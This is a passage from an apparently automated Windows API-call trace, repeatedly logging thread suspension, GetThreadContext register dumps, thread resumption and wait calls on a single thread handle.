Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0085.767] ResumeThread (hThread=0x130) returned 0x1
[0085.767] CloseHandle (hObject=0x130) returned 1
[0085.767] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0085.844] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0085.844] SuspendThread (hThread=0x130) returned 0x0
[0085.844] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xd17c3ffa00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12b69e0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0085.915] ResumeThread (hThread=0x130) returned 0x1
[0085.915] CloseHandle (hObject=0x130) returned 1
[0085.915] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0085.992] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0085.992] SuspendThread (hThread=0x130) returned 0x0
[0085.992] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10213, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001477d0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x137d03e, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0086.131] ResumeThread (hThread=0x130) returned 0x1
[0086.131] CloseHandle (hObject=0x130) returned 1
[0086.131] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0086.166] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0086.202] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0086.437] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0086.839] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0086.839] SuspendThread (hThread=0x130) returned 0x0
[0086.859] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xd17c3ffa68, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7ffc71d45614, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0086.932] ResumeThread (hThread=0x130) returned 0x1
[0086.932] CloseHandle (hObject=0x130) returned 1
[0086.933] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0087.017] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0087.018] SuspendThread (hThread=0x130) returned 0x0
[0087.018] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147650, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f2005, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0087.089] ResumeThread (hThread=0x130) returned 0x1
[0087.089] CloseHandle (hObject=0x130) returned 1
[0087.090] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0087.170] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0087.170] SuspendThread (hThread=0x130) returned 0x0
[0087.170] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147788, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x135696c, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, 